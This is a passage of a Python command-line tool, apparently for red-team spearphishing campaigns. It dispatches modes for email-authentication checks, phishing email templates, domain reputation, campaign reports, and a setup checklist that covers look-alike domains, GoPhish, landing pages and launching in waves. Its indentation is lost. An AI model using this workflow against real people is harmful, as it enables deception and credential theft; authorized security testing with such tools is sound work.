auth_results = validate_email_authentication(args.domain)
table = Table(title=f"Email Authentication: {args.domain}")
table.add_column("Protocol", style="cyan")
table.add_column("Configured", style="green")
table.add_column("Record", style="yellow")
table.add_column("Issues", style="red")
for protocol, data in auth_results.items():
table.add_row(
protocol.upper(),
"Yes" if data["configured"] else "No",
(data["record"] or "N/A")[:60],
"; ".join(data["issues"]) if data["issues"] else "None",
)
console.print(table)
elif args.mode == "template":
if not args.pretext or not args.targets:
console.print("[red][-] --pretext and --targets required for template mode[/red]")
return
generate_email_template(
args.pretext, args.targets, args.company, args.phishing_url, args.output
)
elif args.mode == "check-domain":
if not args.domain:
console.print("[red][-] --domain required[/red]")
return
console.print(f"[yellow][*] Checking domain reputation for {args.domain}...[/yellow]")
rep_results = check_domain_reputation(args.domain)
console.print(Panel(json.dumps(rep_results, indent=2), title="Domain Reputation"))
elif args.mode == "report":
if not args.campaign_data:
console.print("[red][-] --campaign-data required for report mode[/red]")
return
analyze_campaign_results(args.campaign_data, args.output)
elif args.mode == "setup":
console.print(
Panel(
"[bold]Spearphishing Campaign Setup Checklist[/bold]\n\n"
"1. Register look-alike domain (age 2+ weeks)\n"
"2. Configure SPF/DKIM/DMARC records\n"
"3. Set up GoPhish or mail infrastructure\n"
"4. Install SSL certificates\n"
"5. Create landing pages\n"
"6. Prepare email templates\n"
"7. Import target list\n"
"8. Test delivery to operator account\n"
"9. Launch campaign in waves\n"
"10. Monitor and collect evidence",
title="Setup Guide",
)
)
if __name__ == "__main__":
main()